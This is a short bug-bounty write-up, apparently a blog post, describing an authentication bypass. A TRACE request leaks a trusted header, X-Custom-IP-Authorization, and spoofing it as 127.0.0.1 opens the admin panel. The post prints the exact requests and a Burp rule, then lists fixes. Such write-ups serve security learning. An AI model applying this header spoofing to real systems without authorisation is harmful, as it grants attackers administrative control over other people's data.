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Levi

June 20, 2026

Authentication Bypass via Information Disclosure in HTTP Headers

Hello guys, after a while, sharing another simple but interesting writeup…This time, the bug was not a password issue.

Muhammed Asfan | Cybersecurity Researcher

1 min read

The application trusted a custom HTTP header to decide whether a user was an admin.

And that header was leaked.

The Vulnerability

The admin panel was available at:

GET /admin

When accessing it normally, the server responded like:

Admin interface only accessible to administrators or local users.

The application had a hidden check:

X-Custom-IP-Authorization: 127.0.0.1

If the request looked like it came from localhost, access was granted.

Finding the Hidden Header

None

I sent the request using the TRACE method:

TRACE /admin HTTP/1.1
Host: id.target.com

The response revealed a header automatically added by the frontend:

X-Custom-IP-Authorization: <my-ip>

This was the missing information needed to bypass the restriction.

Exploiting the Issue

Using Burp Suite Match and Replace:

Add a new rule:

Type:

Request header

Replace with:

X-Custom-IP-Authorization: 127.0.0.1

Now every request contains:

GET /admin HTTP/1.1
Host: target.com
X-Custom-IP-Authorization: 127.0.0.1

The server believes the request comes from localhost.

Admin access granted.

Impact

An attacker could:

  • Access restricted admin functionality
  • Perform administrative actions
  • Delete or modify user data
  • Bypass authentication controls

The root problem is trusting a client-controlled header for authorization.

Fix

Never trust security headers from users.

  • Validate IP information server-side
  • Do not use custom headers as authentication controls
  • Protect admin functions with proper authorization checks
  • Avoid exposing internal headers through debugging methods like TRACE

Lesson for Hunters: Whenever you see:

  • Custom headers
  • IP-based restrictions
  • Internal admin panels
  • Proxy-related logic

Always test if the decision is controlled by user input.

A single trusted header can become a complete authentication bypass.

Written by Muhammed Asfan